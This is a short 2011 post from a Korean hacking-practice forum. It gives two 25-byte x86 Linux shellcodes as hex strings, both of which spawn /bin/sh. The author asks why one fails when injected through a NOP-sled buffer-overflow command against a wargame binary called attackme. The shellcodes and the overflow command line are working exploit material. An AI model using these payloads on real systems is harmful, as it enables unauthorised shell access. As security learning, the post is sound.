|
http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=3208 [복사]
________________________________________________________________________________________________________
A="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
________________________________________________________________________________________________________
B="\x5b\x31\xc0\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xe8\xee\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
________________________________________________________________________________________________________
둘다 환경변수에 올려놓코 ./attackme $RET 하면 둘다 shell이 떨어짐니다.
근데 직접 쉘에 $(python -c 'print <NOP>*200 + <쉘코드> + <NOP>*43 + <RET>) 하면
A는 되고 B는 안되는데요. 이유가 궁금하네요...
A는 인터넷에 떠도는 25byte 쉘코드구요...
B는 여기 자료 찾아서 직접 만들어본 25byte 쉘코드 입니다.
아무래도 쉘코드에 문제가 있는듯한데...
환경변수에 올리면 떨어지고 직접 쉘에 RET주소 쓰면 안되고..이유가 궁금하네요...
|
Hit : 3859 Date : 2011/05/16 01:19
|